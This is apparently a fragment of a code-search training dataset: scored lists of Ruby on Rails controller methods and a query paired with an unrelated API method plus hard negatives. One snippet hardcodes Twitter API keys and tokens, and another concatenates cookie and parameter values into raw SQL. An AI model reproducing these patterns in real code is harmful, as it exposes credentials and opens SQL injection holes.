end",
"def show\n @user = current_user\n @dm_profile = @user.dm_profile\n @player_profile = @user.player_profile\n @new_conversations = find_new_conversations\n @conversations = @user.chat_rooms - @new_conversations\n @similar_profiles = get_similar_profiles(@user) & (User.location(current_user, \"0\") || User.location(current_user, \"0\"))\n end",
"def show\n @water_point = WaterPoint.visible.find(params[:id]) rescue (redirect_to water_points_path; return)\n @comments = @water_point.comments.visible\n @current_vote = current_user && Vote.find_by_user_id_and_water_point_id(@current_user.id, @water_point.id)\n @subscribed = current_user && Follower.find_by_user_id_and_water_point_id(@current_user.id, @water_point.id)\n\n make_map('detail')\n \n @page_ancestors = [{:name=>'Dripplets', :url=> water_points_path}]\n @bc_title = 'Dripplet'\n \n respond_to(:html,:iphone)\n\n end",
"def show\n @all_tweets = set_tweet_collection.tweets\n end",
"def show\n @extends = Extend.includes( :user ).limit(10).where( story: @story ).paginate( page: params[:page], per_page: 10 ) \n @following = Follower.find_by( user: current_user, story: @story )\n puts @following\n end",
"def show\n @user = User.find(params[:id])\n @microposts = @user.microposts.paginate(page: params[:page])\n redirect_to root_url and return unless @user.activated?\n end",
"def show\n respond_with(@tweet)\n end",
"def show\r\n #取得したデータと関連データを取得する。\r\n @related_posts = Board.tagged_with(@board.tag_list, any: true).where.not(id:@board.id).limit(2) \r\n #照会数がnilの場合\r\n if @board.view.nil?\r\n #照会数を1とする。\r\n update_view=1\r\n else\r\n #照会数をカウントアップする。\r\n update_view = @board.view += 1\r\n end\r\n \r\n #設定した照会数を更新する。\r\n @board.update_attribute \"view\", update_view\r\n\r\n #次へ、前へボタンイベントのため、前後レコードを取得する。\r\n @before_post = @board.before_post\r\n @next_post = @board.next_post\r\n\r\n # 画面タイトルのデータを設定する。\r\n render formats: :json\r\n end",
"def getUserInfo(doc, tweet)\n\t@username = doc.at_css(\".js-action-profile-name b\").text\n\tputs \"Username: #{@username}\"\n\n\t@name = doc.at_css(\".show-popup-with-id\").text\n\tputs \"Name: #{@name}\"\n\n\t@user_location = tweet[/\\([\\s]*@([^\\)]+)\\)/i]\n\tif @user_location != nil\n\t\t@user_location = @user_location[3..(@user_location.length - 2)]\n\t\tputs \"User Location: #{@user_location}\"\n\tend\nend",
"def show\n id = params[:id]\n init_core_tl_display_vars()\n get_timeline_data_for_display(id)\n \n @local_page_title = @timeline.title\n if @timeline.desc.present?\n @local_page_desc = @timeline.desc\n else\n @local_page_desc = @timeline.title\n end \n \n @complete_page_url = \"#{request.protocol}#{request.host_with_port}#{request.fullpath}\"\n logger.debug(\"Complete page path: \" + @complete_page_url)\n \n @tl_container_page_path = timeline_path(@timeline)\n if signed_in?\n if !current_user.nil?\n # remember query key in session. We'll need if user edits/delets event\n #session[:qkey] = query_key\n \n # Remember listviewurl , we need it in edit func.\n if @viewstyle == 'list'\n tmp_list_url = generate_list_view_url(nil,@tlid, @fromdate, @todate, @fullscr== 'true'?true:false, @events_on_a_page, @tl_container_page_path)\n session[:listviewurl] = tmp_list_url\n end\n end\n end\n record_activity(\"t=#{@timeline.title}\")\n\n if @fullscr == \"true\"\n render :template => \"timelines/tl-fullscr\", :formats => [:html], :handlers => :haml,\n :layout => \"tl\"\n elsif @embeddedview == \"true\"\n #\n #Preview case is also covered here.\n #\n render :template => \"events/tl\", :formats => [:html], :handlers => :haml,\n :layout => \"tl\"\n else\n # Normal timeline page rendering with default layout etc.\n # ...\n end\n end",
"def show\n @pageview = Pageview.find(params[:id])\n @reply = Reply.new\n\n # Group all responses with the same question\n if is_logged_in?\n @pageviews = Pageview.find(:all, :conditions => [\"name = ?\", @pageview.name], :order => \"created_at DESC\")\n end\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @pageview }\n end\n end",
"def show\n @user = User.find(params[:id])\n @microposts = @user.microposts.not_messages.paginate(:page=>params[:page], :per_page => 5)\n @title = \"Show '#{@user.name}'\"\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def show\n @userposts = @user.userposts.paginate(page: params[:page])\n @games = @user.games\n @feed_items = @user.userposts.paginate(page: params[:page])\n @leagues = @user.leagues\n end",
"def show\n @tweet = Tweet.includes({user: {avatar_attachment: [:blob]}}, :likes, {comments: [{user: {avatar_attachment: [:blob]}}, :parent_comment]}).find(params[:id])\n @tweet_json = TweetBlueprint.render(@tweet)\n end",
"def show\n @[email protected]_page_1\n @[email protected]_page_2\n end",
"def show\n user = user_from_token\n @tweet = user.tweets.where(:id => params[:id])\n render :json => @tweet\n end",
"def print_timeline(tweets)\n \n puts tweets [0][\"user\"][\"screen_name\"]\n puts tweets [0][\"text\"]\n\n \n\nend",
"def show\n @interesting_tweets = InterestingTweet.all\n @reply = Reply.new\n render 'show_fake'\n end",
"def show\n if params[:c]\n company = Company.find(params[:c])\n page = params[:page] ? params[:page] : @keyword.tweets.where(useful: true).where(company: company).page.num_pages\n @tweets = @keyword.tweets.where(useful: true).where(company: company).reorder(\"created_at\").page page\n else\n page = params[:page] ? params[:page] : @keyword.tweets.where(useful: true).reorder(\"created_at\").page.num_pages\n @tweets = @keyword.tweets.where(useful: true).reorder(\"created_at\").page page\n end\n end",
"def show\r\n @tweets = Tweet.all\r\n @tweet = Tweet.find(params[:id])\r\n end",
"def to_page\n \n u = User.find_by_login(authorid)\n \n UserActionObserver.current_user = u\n \n page = Page.new(\n :title => title,\n :created_at => lastmod,\n :updated_at => lastmod,\n :slug => url_title,\n :status => Status[:published],\n :breadcrumb => title,\n :published_at => posted, \n :enable_comments => annotate.to_s,\n :keywords => keywords,\n :created_by => u,\n :updated_by => u\n )\n \n page.parts << PagePart.new(:name => 'body', :filter_id => \"Textile\", :content => body )\n page.parts << PagePart.new(:name => 'intro', :filter_id => \"Textile\", :content => body.split(/\\r\\n\\s*\\r\\n/).first)\n \n page\n end",
"def show\n session[:current_robot_id] = nil\n @micropost = Micropost.new\n @robot = Robot.find(params[:id])\n session[:current_robot_id] = @robot.id\n @microposts = @robot.microposts.paginate(:page => params[:page])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @robot }\n end\n end",
"def show\n @last_pages = []\n\n elements = Impression.where(user_id: current_user._id).order_by([:created_at, :desc])\n elements.each do |element|\n break if @last_pages.size >= 10\n checking = element.impressionable_type.constantize.find(element.impressionable_id) rescue @last_pages.last\n unless checking == @last_pages.last\n @last_pages << checking\n end\n end\n\n @my_activities = PublicActivity::Activity.where(owner_id: current_user.id).order_by(created_at: :desc).page(params[:page]).per(20)\n @comments = PublicActivity::Activity.where(:recipient_id.in => current_user.all_resources_ids).order_by(created_at: :desc).page(params[:page]).per(20)\n end",
"def show\n id = params[:id]\n init_core_tl_display_vars()\n get_timeline_data_for_display(id)\n @local_page_title = @tlentry.title\n @complete_page_url = \"#{request.protocol}#{request.host_with_port}#{request.fullpath}\"\n logger.debug(\"Complete page path: \" + @complete_page_url)\n \n @tl_container_page_path = timeline_path(@tlentry)\n if signed_in?\n if !current_user.nil?\n # remember query key in session. We'll need if user edits/delets event\n #session[:qkey] = query_key\n \n # Remember listviewurl , we need it in edit func.\n if @viewstyle == 'list'\n tmp_list_url = generate_list_view_url(nil,@tlid, @fromdate, @todate, @fullscr== 'true'?true:false, @events_on_a_page, @tl_container_page_path)\n session[:listviewurl] = tmp_list_url\n end\n end\n end\n \n if @fullscr == \"true\"\n render :template => \"timelines/tl-fullscr\", :formats => [:html], :handlers => :haml,\n :layout => \"tl\"\n end \n end",
"def index\n if params[:page] && current_user\n render json: current_user, scope: {page: params[:page]}, serializer: UserWithTweetsSerializer, meta: {total_pages: current_user.timeline_tweets.count/25}\n elsif current_user\n render json: current_user, serializer: UserWithTweetsSerializer\n elsif params[:page]\n @tweets = Tweet.all.page(params[:page])\n render json: @tweets\n else\n @tweets = Tweet.all\n render json: @tweets\n end\n end",
"def show\n @tweet = Tweet.find(params[:id]) #Encontramos el tweet segun el ID\n @tweet_likes = @tweet.likes #Creamos la variable para mostrar los usuarios que le dieron el like\n end",
"def show\n @tweet = Tweet.find(params[:id])\n end",
"def show\n @tweet = Tweet.find(params[:id])\n end",
"def show\n @followers = @user.followers\n @followings = @user.followings\n @post = Post.new\n end",
"def show\n @user = User.find(params[:id])\n if @user.slug != params[:id]\n redirect_to(@user, :status => :moved_permanently)\n return\n end\n\n @pageTitle = @user.display_name\n @metaDescription = @user.description.blank? ? @user.display_name : @user.description\n @homepage = @user.home_page\n @homepage = \"http://\" + @homepage unless @homepage.nil? || @homepage.downcase.starts_with?(\"http://\")\n unless read_fragment(:part => \"photos_#{@user.id}\")\n @photos = @user.photos_by_time.limit(Photo.per_page)\n @has_photos = @photos.length != 0\n @appears_in_other_photos = false\n end\n unless read_fragment(:part => \"trip_reports_#{@user.id}\")\n @trip_reports_by_sub_region = @user.trip_reports_by_sub_region\n @trip_reports_by_year = @user.trip_reports_by_year\n @trip_year_groups = @trip_reports_by_year.keys.in_groups(1)\n @trip_year_groups = @trip_reports_by_year.keys.in_groups(2) if @trip_reports_by_year.length >= 6 \n @trip_year_groups = @trip_reports_by_year.keys.in_groups(3) if @trip_reports_by_year.length >= 11 \n @has_trip_reports = @user.trip_reports.length != 0\n end\n unless read_fragment(:part => \"albums_#{@user.id}\")\n @albums = @user.albums.where('deleted=false').includes(:user)\n @has_albums = @albums.length != 0\n @album_groups = @albums.in_groups_of(1)\n @appears_in_other_albums = false\n end\n @show_edit_link = can_edit?\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def test\n #render :text => TwitterAuth::Dispatcher::Basic.get(\"/search?q=#{CGI.escape(\"school\")}\").inspect\n #render :text => CGI.escape('#twitter')\n \n # http://a1.twimg.com/profile_images/70050636/techPresident_–_How_the_candidates_are_using_the_web__and_how_the_web_is_using_them._normal.jpg\n #begin_time = Time.now\n #plaa = cur_user.twitter.get(\"/statuses/home_timeline?count=20\")\n #time_past = Time.now - begin_time\n #render :text => request.env['HTTP_REFERER'].inspect #session.inspect #Message.first.tags_mentioned.inspect\n \n if true\n plaa = \"jaa jaa\"\n end\n render :text => \"taa: #{plaa}\"\n end",
"def show\n respond_to do |format|\n format.turbo_stream { render \"shared/show\", locals: { object: @actor_location_time } }\n end\n end",
"def show\n @destination = Destination.find(params[:id])\n setup_show_data\n\n client = TwitterHelper.get_client\n @twitter_data = client.search(\"to: #{@destination.city}, travel\", :result_type => \"recent\").take(3)\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @destination }\n end\n end",
"def show\n @user = User.find_by!(username: params[:username])\n #This saves user tweets in desc order.\n @tweets = @user.tweets.order(created_at: :desc)\n end",
"def show\n @user = User.find(params[:id])\n @microposts = @user.microposts.paginate(page: params[:page])\n end",
"def show\n @user = User.find(params[:id])\n @microposts = @user.microposts.paginate(page: params[:page])\n end",
"def index\n @stories = (Story.where(access: \"PUBLIC\")).recent.page(params[:page])\n @PVT = (Story.where(user_id: current_user.id))\n @private_stories = (@PVT.where(access: \"PRIVATE\")).recent.page(params[:page])\n @tweets = SocialTool.twitter_search\n @topics = Topic.all\n end",
"def show\n preliminar_posts = CountryPost.select(:post_id).where(country_id: @country.id).map(&:post_id)\n @pagy, @posts = pagy(Post.where(id: preliminar_posts))\n @comments = pagy(Commentary.joins(:user).where(post_id: preliminar_posts).order('created_at DESC'))\n @likes = Like.distinct.where(post_id: preliminar_posts).count\n @dislikes = Dislike.distinct.where(post_id: preliminar_posts).count\n @points = @likes - @dislikes\n\n @client = Twitter::REST::Client.new do |config|\n config.consumer_key = 'nhqxaRN8WpKGb1l1vJVuLYEhH'\n config.consumer_secret = 'i0Edj9ySLUzCuNbHloSh16adsqR6E9rZjiBEEIhPLe1JlteUAm'\n config.access_token = '1063801258987978752-uPj662UsJ67NXeWERjWqpXnvDico3b'\n config.access_token_secret = 'uPq1TnH19RsFFPfrbjo2BkpI7LvflhvA1Ra7iCRjT4siW'\n end\n\n # @playlists = RSpotify::Playlist.search('Indie')\n # @tracks = RSpotify::Track.search(@country.name)\n musica = \"instrumental #{@country.name}\"\n @tracks = RSpotify::Track.search(musica)\n @track = @tracks.first\n unless @track\n @tracks = RSpotify::Track.search('instrumental')\n @track = @tracks.first\n end\n\n @track.audio_features.danceability #=> 0.605\n @track.audio_features.energy #=> 0.768\n @track.audio_features.tempo #=> 100.209\n\n @moderator = false\n if current_user && current_user.category == 'moderator' && current_user.country_id == @country.id\n @moderator = true\n end\n\n @post = Post.new\n end",
"def show\n @twitter_user = TwitterUser.find(params[:id])\n @follower_ids = Twitter.follower_ids(@twitter_user.twitter_username).collection\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @twitter_user }\n end\n end",
"def show\n @avatar_twitter = AvatarTwitter.find(params[:id])\n @avatar = @avatar_twitter.avatar\n @tweets = @avatar_twitter.avatar_tweets.sort_by{|tw| -tw.id}\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @avatar_twitter }\n end\n end",
"def page_view(title, page, utmhid = random_id)\n check_account_params\n hey(page_view_params(title, page, utmhid))\n end",
"def show\n timeline\n end",
"def activity\n @user, @me, @cover_images, @cover_set, @image = user_profile_init\n\n @total_listings = @user.listings.active.count\n @recent_listings = @user.listings.active.order(\"id desc\").limit(3)\n @recent_reviews = @user.listing_reviews.order(\"id desc\").limit(4)\n @average_ratings = @user.listing_average_ratings\n\n @tab = 'home'\n @title = \"#{@user.handle} | Profile\"\n\n # set return_to paths\n session[:connect_oauth_return_to] = request.path\n\n respond_to do |format|\n format.html\n end\n end",
"def show\n\t\t@user = current_user\n\t\t@profile = @user.profile\n\t\t@bodylog = @user.bodylogs.find(:last)\n\t\t@bodylogs = @user.bodylogs.order('created_at DESC').all #necessary for the calculators\n\tend",
"def show\n render json: @tweet\n end",
"def show\n \tbegin\n \t\t@page = Page.find(params[:id])\n \t\t$global_id = params[:id]\n if PagesLike.find_by_sql(\"select * from pages_likes where user_id=\"+cookies[:user_id]+\" and page_id=\"+$global_id.to_s)[0]!=nil\n @is_liked = \"unlike\"\n else\n @is_liked = \"like\"\n end\n @page_posts = PagesPost.find_by_sql(\"select * from pages_posts where page_id=\"+params[:id])\n \trescue\n \t\tredirect_to action: \"profile\",controller: \"main\"\n \tend\n end",
"def show\n ids = @timeline.holocene_events.pluck(:id)\n @grid = HoloceneEventsGrid.new(hgrid_params.merge({ id: ids })) do |scope|\n scope.joins(:timelines).where(\"timelines.id = ?\", @timeline.id).includes([:event_types, :region, :rich_text_body]).page(params[:page])\n end\n respond_to do |format|\n format.turbo_stream { render \"shared/show\", locals: { object: @timeline, new_link_path: 'timelines', new_link_name: 'show_new_link' } }\n end\n end",
"def show\n empresa_name ||= @empresa.name\n site ||= \"Guia#{ENV['CURRENT_CITY_CAP']}.es\"\n tags ||= @empresa.tag_list\n description ||= empresa_name + \" | \" + @empresa.category.name + \" : \" + tags\n excerpt ||= @empresa.excerpt\n\n set_meta_tags title: empresa_name,\n site: site,\n reverse: true,\n description: description,\n keywords: tags,\n\n twitter: {\n card: \"summary\",\n site: site,\n title: empresa_name + \" | \" + site,\n description: excerpt,\n image: @empresa.logo.url\n },\n\n og: {\n title: empresa_name,\n description: excerpt,\n type: 'website',\n url: empresa_url(@empresa),\n image: @empresa.logo.url\n }\n\n (@hor, @abierto) = horario()\n @promos = @empresa.promos.last(3)\n end",
"def show\n @tweet =\n Tweet\n .includes({ user: { avatar_attachment: %i[blob] } }, :likes, { comments: [{ user: { avatar_attachment: %i[blob] } }, :parent_comment] })\n .find(params[:id])\n @tweet_json = TweetBlueprint.render(@tweet)\n end",
"def show\n @user = User.find(params[:id])\n @micropostsList = @user.microposts.paginate(page: params[:page])\n end",
"def show\n @usuario = Usuario.find(params[:id])\n @microposts = @usuario.microposts.paginate(page: params[:page])\n end",
"def show\n @turma = Turma.find(params[:id])\n @professor_foto_url = 'https://graph.facebook.com/' + @turma.professor.fb_id.to_s + '/picture?type=normal'\n \n load_questoes\n load_alunos\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @turma }\n end\n end",
"def show\n if params == [:tweet_id,:id]\n @tweet = Tweet.find(params[:tweet_id])\n end\n if params == [:actor_id,:id]\n @actors = Actor.find(params[:actor_id])\n end\n @actor_tweet = ActorTweet.find(params[:id])\n end",
"def show\n unless @page.address.blank?\n #@map = @page.to_gmaps4rails do |page, marker|\n #marker.infowindow render_to_string(:partial => 'infowindow', :locals => {:page => page})\n #marker.title page.address\n #end\n @map = Gmaps4rails.build_markers(@page) do |page, marker|\n marker.lat page.latitude\n marker.lng page.longitude\n marker.infowindow render_to_string(:partial => 'infowindow', :locals => {:page => page})\n marker.title page.address\n end\n end\n # redirect to actual user friendly URL, e.g. pages/4 => pages/kontakt\n if request.path != page_path(@page)\n redirect_to @page, status: :moved_permanently\n else\n respond_to do |format|\n format.html { render :layout => 'showroom' } # show.html.erb\n format.json { render json: @page }\n end\n end\n end",
"def show\n\n if params[:topic]\n @topic = params[:topic]\n else \n @topic = \"personen_info\"\n end \n\n case @topic\n when \"personen_info\"\n\n @mtypes = Mobject.select(\"mtype\").distinct\n @stats = [[\"Aktivtäten\",\"Anzahl\"]]\n @stats << [\"Institutionen\", @user.companies.count]\n @stats << [\"Favoriten\", @user.favourits.count ]\n @stats << [\"Abfragen\", @user.searches.count]\n @mtypes.each do |t|\n @text = t.mtype\n @anz = @user.mobjects.where('mtype=?',t.mtype).count\n @stats << [@text, @anz]\n end\n\n when \"personen_zugriffsberechtigungen\"\n if params[:credential_id]\n @c = Credential.find(params[:credential_id])\n if @c\n #@c.edit\n if @c.access\n @c.access=false\n else\n @c.access=true\n end\n @c.save\n end\n end\n\n when \"personen_favoriten\"\n @locs = []\n @wins = []\n @favourits = Favourit.where('user_id=? and object_name=?', @user.id, \"user\") \n @favourits.each do |f|\n u = UserPosition.where('user_id=?',f.object_id).last\n if u and u.longitude and u.latitude and u.geo_address\n @locs << [u.user.fullname, u.latitude, u.longitude]\n @wins << [\"<img src=\" + u.user.avatar(:medium) + \"<h3>\" + u.user.fullname + \"</h3><p>\" + u.geo_address + \"</p>\"]\n end\n end\n if @locs.length == 0\n @locs << [\"Adresse\", @user.latitude, @user.longitude]\n @wins << [\"<h3> keine weiteren Positionen gespeichert </h3>\" + @user.geo_address ]\n end\n\n end\n \n if params[:header] != nil and params[:body] != nil\n UserMailer.send_message(params[:id], params[:header], params[:body]).deliver_now\n end\n \n end",
"def timeline\n twitter.home_timeline\n end",
"def my_mentions\n @blogs = User.my_mentions @u\n @blogs = @blogs.paginate :page => (params[:page] || 1), :per_page=> 15\n\n @selected_user_subnav_link = \"my_mentions\"\n end",
"def show\n @review = Review.new\n @reviews = @posting.reviews\n\n # Map related.....\n # Build object to contain pin (map marker) type and coords (from @posting) to display on map\n # Before rendering the map first check to see if any of the postings have any coords..if not\n # map @mapAttributes_json object needed for map will not be built..note: corresponding javascript code\n # on webpage will check to see if @mapAttributes_json to see if object is nil..if nil it will not call\n # the function to build the map and hence no map will be rendered\n if @posting.coords\n @mapAttributes_json = RentMyThing.gather_map_attributes({\"/images/red-pin.png\" => @posting})\n end\n end",
"def trackview\n username = params[:username]\n password = params[:password]\n @user = User.get_user(username) # User.first(:login => username)\n @results = []\n if @user\n points = Geo.all(:limit => 4999, :order => [ :created_at.desc ], :user => @user.id )\n points.each do |p|\n @results << [ p.lat, p.lon ]\n end\n else\n @results = [\n [ 37.4419, -122.1419],\n [ 47.4519, -102.1519],\n [ 57.4619, -132.1819]\n ]\n end\n @map.feature_line(@results)\n render\n end",
"def show\n @title = 'Microposts'\n @user = User.find(current_user.id)\n feed = @user.feed\n @microposts = feed.page(params[:current_page]).per(5)\n @new_post = Micropost.new if @new_post.nil?\n # Realization of the endless page via ajax.\n respond_to do |format|\n format.js\n format.html\n format.xml { render :xml => @micropost }\n end\n end",
"def show\n \n #@user = User.find_by_username(params[:slug])\n @post = Post.new\n @user =\n @profile = Profile.find_by_user_id(User.find_by_username(params[:slug]).id)\n @user = User.find(@profile.user_id)\n if current_user == @user\n @posts = Post.paginate_all_by_user_id(@user.followers.map(& :id).push(@user.id), :page => params[:page], :per_page => 10, :order=>'created_at desc')\n else\n @posts = Post.paginate_all_by_user_id(@user.id, :page => params[:page], :per_page => 10, :order=>'created_at desc')\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @profile }\n end\n end",
"def show\n add_breadcrumb :details\n @map_opt = {\n :zoom => 2,\n :auto_adjust => true,\n :auto_zoom => false,\n :detect_location => true\n }\n @user = User.find(params[:id], :include => [:positions => [:company]])\n if (current_user.id != @user.id)\n Visit.create! :ip => request.ip, :ua => request.env['HTTP_USER_AGENT'], :user_id => current_user.id, :visitor_id => @user.id\n end\n respond_to do |format|\n format.html do #show.html.erb\n @markers = @user.to_gmaps4rails do |user, marker|\n marker.infowindow render_to_string(:partial => \"marker_template\", :locals => {:usr => @user})\n marker.json({:id => user.id})\n end\n end\n format.xml { render :xml => {:user => @user} }\n format.json { render :json => {:user => @user} }\n end\n end",
"def show\n @user = User.find(params[:id])#finds user by the id parameter; creates an instance of the user \n @microposts = @user.microposts.paginate(page: params[:page])\n end",
"def show(id)\n only_provides :html\n @tweet = Tweet.get(id)\n raise NotFound unless @tweet\n display @tweet\n end",
"def show\n set_user_activity\n end",
"def show\n @user = User.where(id: @post.user_id)[0]\n @likes = UserLike.where(post_id: @post.id)\n end",
"def show\n @recent = Entry.page\n end",
"def show\n @posts = Post.where(hidden: false).where(:user_id => @profile.user.id).order('created_at DESC').page params[:page]\n \n end",
"def show\n @avatar_tweet = AvatarTweet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @avatar_tweet }\n end\n end",
"def show\n @pins = Pin.joins(:pinnings).where(pinnings: {board_id: @board.id}) \n @followers = current_user.user_followers\n @collaborators = User.joins(:board_pinners).where(board_pinners: {board_id: @board.id})\n end",
"def show\n @end_user = EndUser.find(params[:id])\n @post = @end_user.posts.all\n @bkm = @end_user.bookmarks.all\n end"
] | [
"0.6452849",
"0.64488304",
"0.64108247",
"0.6133235",
"0.6045814",
"0.59724283",
"0.59616923",
"0.59616303",
"0.5923543",
"0.5918561",
"0.58995724",
"0.5890823",
"0.5889099",
"0.58784366",
"0.5873971",
"0.5859521",
"0.5843587",
"0.58353287",
"0.5820898",
"0.5819172",
"0.5814121",
"0.5808718",
"0.5793924",
"0.5793905",
"0.5788894",
"0.5779913",
"0.577699",
"0.57667714",
"0.575139",
"0.57441527",
"0.5739458",
"0.57384795",
"0.57374",
"0.5736312",
"0.5735326",
"0.5733197",
"0.5730325",
"0.5729399",
"0.57136756",
"0.57125974",
"0.5710821",
"0.57076204",
"0.5700679",
"0.57001764",
"0.5697828",
"0.56899977",
"0.56692475",
"0.56685925",
"0.56659496",
"0.5647156",
"0.56424934",
"0.5636513",
"0.5631596",
"0.5630406",
"0.5623188",
"0.56206644",
"0.5619864",
"0.5619864",
"0.56158644",
"0.56113476",
"0.5608939",
"0.56049556",
"0.5602851",
"0.56021243",
"0.5602123",
"0.5601628",
"0.56009835",
"0.5592574",
"0.55881375",
"0.5572153",
"0.55691",
"0.55626994",
"0.55598843",
"0.5557539",
"0.5541834",
"0.55383617",
"0.553407",
"0.55320895",
"0.553009",
"0.55241233",
"0.5523916",
"0.5518484",
"0.551561",
"0.5514644",
"0.5511534",
"0.5509279",
"0.5507848",
"0.55058527",
"0.54918015",
"0.5491697",
"0.54900306",
"0.54897213",
"0.5488739",
"0.54830056",
"0.5479803",
"0.5477792",
"0.54759455",
"0.5475227",
"0.5471646",
"0.5468933",
"0.5468852"
] | 0.0 | -1 |
Specify the target pool name. | def get_floating_ip_list_post(get_floating_ip_list_param, opts = {})
data, _status_code, _headers = get_floating_ip_list_post_with_http_info(get_floating_ip_list_param, opts)
return data
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def default_pool_name\n super\n end",
"def pool_name()\n #This is a stub, used for indexing\n end",
"def set_default_pool_name(opts)\n opts = check_params(opts,[:default_pools])\n super(opts)\n end",
"def ssdb_attr_pool(pool_name)\n @ssdb_attr_pool_name = pool_name\n end",
"def name\n 'pooler'\n end",
"def pool=(pool)\n @vserver_hash.properties.basic.pool=pool\n end",
"def target_name(target_name = nil)\n @target_name = target_name unless target_name.nil?\n \n return 'default' if @target_name.nil?\n @target_name\n end",
"def connection_pool_name # :nodoc:\n replica = current_replica_name\n if replica\n \"#{name}_#{replica}\"\n elsif self == ActiveRecord::Base\n name\n else\n superclass.connection_pool_name\n end\n end",
"def default_pool=(pool)\n # Ensure the pool is valid.\n begin\n IPAddr.new pool\n rescue ArgumentError\n raise InvalidSettingErrror,\n :setting_name => 'default_pool',\n :value => pool.inspect\n end\n\n @default_pool = pool\n end",
"def set_pool\n @pool = Pool.find(params[:id])\n end",
"def set_pool\n @pool = Pool.find(params[:id])\n end",
"def set_pool\n @pool = Pool.find(params[:id])\n end",
"def target_name=(new_value)\n @target_name = new_value unless const_defined?(:TargetName)\n end",
"def pool_params\n params.require(:pool).permit(:name)\n end",
"def pool_params\n params.require(:pool).permit(:name)\n end",
"def target_object_name=(value)\n @target_object_name = value\n end",
"def for_target(target)\n @target_name = target[:target_name].to_s\n return self\n end",
"def scale_to(pool_name, target_num_servers)\n current_server_count = current_pool_size(pool_name)\n if target_num_servers > current_server_count\n remove_servers(pool(pool_name)[target_num_servers..-1])\n else\n add_additional_servers(pool_name, target_num_servers - current_server_count)\n end\n end",
"def pool\n @pool=@vserver_hash.properties.basic.pool\n end",
"def name\n \"##{target}\"\n end",
"def pool( pool, message )\n post('/pool', :body => { :pool => pool, :message => message } )\n end",
"def target_name(*args)\n if args.blank?\n (const_defined?(:TargetName) ? const_get(:TargetName) : (@target_name || target_model.name.underscore.titleize)).to_s\n else\n self.target_name = args.first\n end\n end",
"def pool=(new_value)\n @pool = new_value\n @pool << self if @pool\n end",
"def create_pool(pool)\n handle_action_exceptions(__method__) do\n cmd_line = [\"createpool '#{pool}'\"]\n cmd_line << 'json' if @json\n\n handle_return(@toolshck_ether.cmd(cmd_line.join(' ')))\n end\n end",
"def pool_params\n params.require(:pool).permit(:id, :name)\n end",
"def set_target_pools request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n uri, body, query_string_params = transcode_set_target_pools_request request_pb\n response = @client_stub.make_post_request(\n uri: uri,\n body: body,\n params: query_string_params,\n options: options\n )\n result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, response if block_given?\n result\n end",
"def pool\n @pool\n end",
"def target_name\n decode_string_member(:target_name)\n end",
"def target_name\n target_node.name\n end",
"def setTargetName(text)\n @targetNameEntry.enterText(text) if not text.nil?\n # press TAB on keyboard to set the target name\n type(waitForObject(@targetNameEntry.symbolicName), \"<Tab>\")\n return self\n end",
"def pool_size=(pool_size)\n @pool.pool_size = pool_size\n end",
"def resource_pool(name)\n @manifest[\"resource_pools\"].find { |res| res[\"name\"] == name }\n end",
"def target(*args)\n if args.blank?\n const_defined?(:Target) ? const_get(:Target) : (@target || name[0..-5].classify.constantize)\n else\n self.target = args.first\n end\n end",
"def connection_pool_id( *args )\n definition = args.first.is_a?( ShardDefinition ) ? args.shift : nil\n\n schema_name = definition.nil? ? args.shift : definition.schema\n shard_name = definition.nil? ? args.shift : definition.name\n\n PoolKey.new( schema_name, shard_name )\n end",
"def pool(session)\n read_task('rvpe.host.pool', session) do\n call_one_xmlrpc('one.hostpool.info', session)\n end\n end",
"def provided_pools\n @config[:pools].select { |pool| pool['dns_config'] == name }.map { |pool| pool['name'] }\n end",
"def name\n name = \"Cess Pool\"\n end",
"def task_name\n @default_options.fetch(:name, nil)\n end",
"def current_database_name\n ActiveRecord::Base.connection_pool.spec.config[:name] || 'default'\n end",
"def pool \n @pool\n end",
"def set_storage_pool(storage_pool)\n assure_uri(storage_pool)\n self['provisioningParameters'] ||= {}\n self['provisioningParameters']['storagePoolUri'] = storage_pool['uri']\n end",
"def target_def; target.name; end",
"def set_node_name!(n)\n n[:name] ||= \"#{n[:host]}:#{n[:port]}\"\n n\n end",
"def set_thread_name(name); end",
"def pool(pool_id)\n NVMKVPool.new(@kv_id, pool_id)\n end",
"def set_pool\n @pool = Pool.find(params[:id])\n authorize @pool\n end",
"def vms_in_pool(_pool_name)\n raise(\"#{self.class.name} does not implement vms_in_pool\")\n end",
"def set_storage_pool(storage_pool)\n assure_uri(storage_pool)\n @data['properties'] ||= {}\n @data['properties']['storagePool'] = storage_pool['uri']\n end",
"def target\n base.image_for(\"#{name}_target\")\n end",
"def setTaskName(taskName)\r\n\t\t\t\t\t@taskName = taskName\r\n\t\t\t\tend",
"def enterTargetInformation(name)\n setTargetName(name) if not name.nil?\n return self\n end",
"def set_job_name(*); end",
"def get_pool_names\n (JSON.parse(get(url: \"https://#{@host}/mgmt/tm/ltm/pool\"))['items'] || []).map {|item| item['name']}\n end",
"def get_pool_names\n (JSON.parse(get(url: \"https://#{@host}/mgmt/tm/ltm/pool\"))['items'] || []).map {|item| item['name']}\n end",
"def target=(target)\n @target = target\n end",
"def delete_pool pool_name\n response = RestClient.delete(\"http://#{@host}/loadbalancers/tenant/#{@tenant}/pools/#{pool_name}\",\n :content_type => :json,\n :accept => :json,\n :'X-Auth-Token' => @keystone_token)\n raise LBModelException.new \"Expected HTTP 202 but got #{response.code} instead\" unless response.code == 202\n\n parse_jobids response\n end",
